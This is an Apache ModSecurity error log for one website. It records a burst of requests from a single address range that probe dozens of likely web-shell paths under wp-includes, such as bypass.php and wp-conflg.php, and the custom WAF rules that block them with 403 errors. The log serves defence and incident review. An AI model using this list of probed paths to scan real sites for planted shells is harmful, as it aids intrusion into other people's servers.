[Sun Dec 07 05:08:01.581104 2025] [:error] [pid 34195:tid 34220] [client 45.146.55.12:52459] [client 45.146.55.12] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/install.php"] [unique_id "aTSbMRrSxOOdwv3vX3xQpgAAANY"]
[Sun Dec 07 05:08:02.426632 2025] [:error] [pid 13234:tid 13249] [client 45.146.55.19:54867] [client 45.146.55.19] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/customize/db.php"] [unique_id "aTSbMu6_dquQqQ60IZ-QBgAAAYg"]
[Sun Dec 07 05:08:05.875854 2025] [:error] [pid 13234:tid 13263] [client 45.146.55.31:31759] [client 45.146.55.31] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/thickbox/about.php"] [unique_id "aTSbNe6_dquQqQ60IZ-QOAAAAZY"]
[Sun Dec 07 05:08:08.028828 2025] [:error] [pid 13234:tid 13265] [client 45.146.55.37:32099] [client 45.146.55.37] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/rk2.php"] [unique_id "aTSbOO6_dquQqQ60IZ-QYgAAAZg"]
[Sun Dec 07 05:08:13.686068 2025] [:error] [pid 13234:tid 13265] [client 45.146.55.22:61011] [client 45.146.55.22] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/certificates/past.php"] [unique_id "aTSbPe6_dquQqQ60IZ-QxQAAAZg"]
[Sun Dec 07 05:08:15.842220 2025] [:error] [pid 34108:tid 34117] [client 45.146.55.11:47007] [client 45.146.55.11] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/edit-tags.php"] [unique_id "aTSbP6LvdvAppF-gXosgvwAAAAQ"]
[Sun Dec 07 05:08:19.291409 2025] [:error] [pid 34108:tid 34130] [client 45.146.55.32:57713] [client 45.146.55.32] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/dist/footer-default.php"] [unique_id "aTSbQ6LvdvAppF-gXoshCAAAABE"]
[Sun Dec 07 05:08:20.575010 2025] [:error] [pid 34109:tid 34150] [client 45.146.55.34:22681] [client 45.146.55.34] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/widgets/class-wp-widget-meta-request.php"] [unique_id "aTSbRIjE_vucgM_xD4TvkAAAAEo"]
[Sun Dec 07 05:08:21.859098 2025] [:error] [pid 7089:tid 7092] [client 45.146.55.16:61687] [client 45.146.55.16] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/dist/edit-widgets/bypass.php"] [unique_id "aTSbRYJPZ-pZM-y51NHgtwAAAQE"]
[Sun Dec 07 05:08:23.610133 2025] [:error] [pid 7089:tid 7091] [client 45.146.55.41:32291] [client 45.146.55.41] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/l10n/wp-login.php"] [unique_id "aTSbR4JPZ-pZM-y51NHgzwAAAQA"]
[Sun Dec 07 05:08:31.615521 2025] [:error] [pid 13234:tid 13256] [client 45.146.55.60:31407] [client 45.146.55.60] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/widgets/wp-ss.php"] [unique_id "aTSbT-6_dquQqQ60IZ-SDQAAAY8"]
[Sun Dec 07 05:08:32.464499 2025] [:error] [pid 34110:tid 34169] [client 45.146.55.59:23825] [client 45.146.55.59] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/IXR/xsec1.php"] [unique_id "aTSbUAndtmtsHiXHBO2QXgAAAII"]
[Sun Dec 07 05:08:34.657075 2025] [:error] [pid 34108:tid 34117] [client 45.146.55.24:43537] [client 45.146.55.24] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/crystal/sad.php"] [unique_id "aTSbUqLvdvAppF-gXoshygAAAAQ"]
[Sun Dec 07 05:08:35.504796 2025] [:error] [pid 34109:tid 34142] [client 45.146.55.32:63561] [client 45.146.55.32] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/script-loader-packages.min.php"] [unique_id "aTSbU4jE_vucgM_xD4TwcgAAAEI"]
[Sun Dec 07 05:08:37.210453 2025] [:error] [pid 7089:tid 7100] [client 45.146.55.61:57535] [client 45.146.55.61] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/class-phpmailer-beta.php"] [unique_id "aTSbVYJPZ-pZM-y51NHhZgAAAQk"]
[Sun Dec 07 05:08:38.055794 2025] [:error] [pid 7089:tid 7105] [client 45.146.55.16:61271] [client 45.146.55.16] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/ms-file.php"] [unique_id "aTSbVoJPZ-pZM-y51NHhcQAAAQ4"]
[Sun Dec 07 05:08:38.899798 2025] [:error] [pid 34110:tid 34184] [client 45.146.55.13:33591] [client 45.146.55.13] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.146.55.13, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/.well-known/acme-challenge/wp-login.php"] [unique_id "aTSbVgndtmtsHiXHBO2QpgAAAJE"]
[Sun Dec 07 05:08:38.908859 2025] [proxy_fcgi:error] [pid 34110:tid 34184] [client 45.146.55.13:33591] AH01071: Got error 'Primary script unknown'
[Sun Dec 07 05:08:39.333039 2025] [:error] [pid 34110:tid 34191] [client 45.146.55.13:33591] [client 45.146.55.13] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/widgets/av.php"] [unique_id "aTSbVwndtmtsHiXHBO2QrQAAAJg"]
[Sun Dec 07 05:08:41.527721 2025] [:error] [pid 34108:tid 34119] [client 45.146.55.34:51169] [client 45.146.55.34] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/autoload_classmap.php"] [unique_id "aTSbWaLvdvAppF-gXosiOQAAAAY"]
[Sun Dec 07 05:08:42.395858 2025] [:error] [pid 34108:tid 34120] [client 45.146.55.48:53213] [client 45.146.55.48] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/network.php"] [unique_id "aTSbWqLvdvAppF-gXosiQAAAAAc"]
[Sun Dec 07 05:08:46.270594 2025] [:error] [pid 7273:tid 7290] [client 45.146.55.11:45141] [client 45.146.55.11] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/XML/content.php"] [unique_id "aTSbXvpR7YTD7JcHjhGPKwAAAU8"]
[Sun Dec 07 05:08:47.121729 2025] [:error] [pid 34109:tid 34160] [client 45.146.55.39:52623] [client 45.146.55.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/pomo/item.php"] [unique_id "aTSbX4jE_vucgM_xD4Tw5wAAAFQ"]
[Sun Dec 07 05:08:48.852398 2025] [:error] [pid 34110:tid 34186] [client 45.146.55.44:46885] [client 45.146.55.44] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/pomo/plugins.php"] [unique_id "aTSbYAndtmtsHiXHBO2RMgAAAJM"]
[Sun Dec 07 05:08:49.712423 2025] [:error] [pid 7089:tid 7101] [client 45.146.55.17:45661] [client 45.146.55.17] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/install.php"] [unique_id "aTSbYYJPZ-pZM-y51NHiBwAAAQo"]
[Sun Dec 07 05:08:50.564032 2025] [proxy_fcgi:error] [pid 13234:tid 13248] [client 45.146.55.22:37481] AH01071: Got error 'Primary script unknown'
[Sun Dec 07 05:08:50.998697 2025] [:error] [pid 13234:tid 13255] [client 45.146.55.22:37481] [client 45.146.55.22] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.146.55.22, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/css/wp-login.php"] [unique_id "aTSbYu6_dquQqQ60IZ-TaQAAAY4"]
[Sun Dec 07 05:08:51.879734 2025] [:error] [pid 13234:tid 13255] [client 45.146.55.22:37481] [client 45.146.55.22] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/widgets/class-wp-nav-widgets.php"] [unique_id "aTSbY-6_dquQqQ60IZ-TewAAAY4"]
[Sun Dec 07 05:08:54.473539 2025] [:error] [pid 34195:tid 34206] [client 45.146.55.51:33051] [client 45.146.55.51] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/sitemaps/providers/doc.php"] [unique_id "aTSbZhrSxOOdwv3vX3xTcAAAAMg"]
[Sun Dec 07 05:08:55.741918 2025] [:error] [pid 7089:tid 7111] [client 45.146.55.57:31423] [client 45.146.55.57] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/rest-api/1.php"] [unique_id "aTSbZ4JPZ-pZM-y51NHiTwAAARQ"]
[Sun Dec 07 05:08:56.581612 2025] [:error] [pid 13234:tid 13244] [client 45.146.55.61:34465] [client 45.146.55.61] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/fonts/class_api.php"] [unique_id "aTSbaO6_dquQqQ60IZ-T4gAAAYM"]
[Sun Dec 07 05:08:58.788787 2025] [:error] [pid 13234:tid 13262] [client 45.146.55.32:31035] [client 45.146.55.32] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/smilies/admin.php"] [unique_id "aTSbau6_dquQqQ60IZ-UBQAAAZU"]
[Sun Dec 07 05:09:00.501725 2025] [:error] [pid 34108:tid 34114] [client 45.146.55.25:22557] [client 45.146.55.25] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/IXR/about.php"] [unique_id "aTSbbKLvdvAppF-gXosjDAAAAAE"]
[Sun Dec 07 05:09:03.226674 2025] [:error] [pid 13234:tid 13248] [client 45.146.55.38:43345] [client 45.146.55.38] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/class-wp-customize-manager-interpreter.php"] [unique_id "aTSbb-6_dquQqQ60IZ-UgQAAAYc"]
[Sun Dec 07 05:09:04.084074 2025] [:error] [pid 7273:tid 7275] [client 45.146.55.27:64563] [client 45.146.55.27] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/bypass.php"] [unique_id "aTSbcPpR7YTD7JcHjhGQBgAAAUA"]
[Sun Dec 07 05:09:05.353407 2025] [:error] [pid 7089:tid 7094] [client 45.146.55.33:21627] [client 45.146.55.33] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/count.php"] [unique_id "aTSbcYJPZ-pZM-y51NHi1AAAAQM"]
[Sun Dec 07 05:09:08.912391 2025] [:error] [pid 7273:tid 7292] [client 45.146.55.46:42359] [client 45.146.55.46] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/certificates/chosen.php"] [unique_id "aTSbdPpR7YTD7JcHjhGQRQAAAVE"]
[Sun Dec 07 05:09:10.646932 2025] [:error] [pid 34108:tid 34130] [client 45.146.55.21:63737] [client 45.146.55.21] ModSecurity: Access denied with code 403 (phase 2). String match ".php" at REQUEST_FILENAME. [file "/usr/local/apache/modsecurity-cwaf/rules/24_Apps_Joomla.conf"] [line "74"] [id "240000"] [rev "1"] [msg "COMODO WAF: Protecting Joomla folder||measureyourbrand.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "Joomla"] [hostname "measureyourbrand.com.au"] [uri "/images/stories/themes.php"] [unique_id "aTSbdqLvdvAppF-gXosjngAAABE"]
[Sun Dec 07 05:09:11.096837 2025] [:error] [pid 34108:tid 34127] [client 45.146.55.21:63737] [client 45.146.55.21] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/theme-compat/footer-embed-function.php"] [unique_id "aTSbd6LvdvAppF-gXosjqAAAAA4"]
[Sun Dec 07 05:09:12.810778 2025] [:error] [pid 34109:tid 34156] [client 45.146.55.33:55517] [client 45.146.55.33] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/l10n/class-wp-translation-file-mo-event.php"] [unique_id "aTSbeIjE_vucgM_xD4TyYQAAAFA"]
[Sun Dec 07 05:09:13.659720 2025] [:error] [pid 13234:tid 13253] [client 45.146.55.40:31237] [client 45.146.55.40] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/vars-soap.php"] [unique_id "aTSbee6_dquQqQ60IZ-VLwAAAYw"]
[Sun Dec 07 05:09:17.116327 2025] [:error] [pid 34108:tid 34128] [client 45.146.55.54:22887] [client 45.146.55.54] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/id3/wp-work.php"] [unique_id "aTSbfaLvdvAppF-gXoskEgAAAA8"]
[Sun Dec 07 05:09:18.855513 2025] [:error] [pid 34110:tid 34171] [client 45.146.55.17:34477] [client 45.146.55.17] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/class-wp-taxonomy.editor.php"] [unique_id "aTSbfgndtmtsHiXHBO2SpgAAAIQ"]
[Sun Dec 07 05:09:20.129050 2025] [:error] [pid 7089:tid 7113] [client 45.146.55.45:23741] [client 45.146.55.45] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/wp-conflg.php"] [unique_id "aTSbgIJPZ-pZM-y51NHjoAAAARY"]
[Sun Dec 07 05:09:23.131474 2025] [:error] [pid 13234:tid 13250] [client 45.146.55.43:60463] [client 45.146.55.43] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/interactivity-api/interactivity-api-xml.php"] [unique_id "aTSbg-6_dquQqQ60IZ-V0QAAAYk"]
[Sun Dec 07 05:09:24.412508 2025] [:error] [pid 7273:tid 7285] [client 45.146.55.24:62967] [client 45.146.55.24] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/colour.php"] [unique_id "aTSbhPpR7YTD7JcHjhGRMgAAAUo"]
[Sun Dec 07 05:09:25.685780 2025] [:error] [pid 34110:tid 34167] [client 45.146.55.23:22091] [client 45.146.55.23] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/customize/class-wp-customize-background-position-control-variable.php"] [unique_id "aTSbhQndtmtsHiXHBO2TCQAAAIA"]
[Sun Dec 07 05:09:26.565738 2025] [:error] [pid 13234:tid 13247] [client 45.146.55.58:39505] [client 45.146.55.58] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/include.php"] [unique_id "aTSbhu6_dquQqQ60IZ-V-AAAAYY"]
[Sun Dec 07 05:09:28.279795 2025] [:error] [pid 34108:tid 34130] [client 45.146.55.20:27571] [client 45.146.55.20] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/imgareaselect/wp-login.php"] [unique_id "aTSbiKLvdvAppF-gXoskkwAAABE"]
[Sun Dec 07 05:09:30.901398 2025] [:error] [pid 34195:tid 34209] [client 45.146.55.43:23371] [client 45.146.55.43] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/l10n/class-wp-translations-interface.php"] [unique_id "aTSbihrSxOOdwv3vX3xVQwAAAMs"]
[Sun Dec 07 05:09:31.746341 2025] [:error] [pid 34108:tid 34121] [client 45.146.55.62:64057] [client 45.146.55.62] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/about5.php"] [unique_id "aTSbi6LvdvAppF-gXoskwAAAAAg"]
[Sun Dec 07 05:09:34.780578 2025] [:error] [pid 13234:tid 13261] [client 45.146.55.42:58301] [client 45.146.55.42] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/ID3/db.php"] [unique_id "aTSbju6_dquQqQ60IZ-WggAAAZQ"]
[Sun Dec 07 05:09:36.535104 2025] [:error] [pid 13234:tid 13255] [client 45.146.55.24:33365] [client 45.146.55.24] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/dist/bypass.php"] [unique_id "aTSbkO6_dquQqQ60IZ-WowAAAY4"]
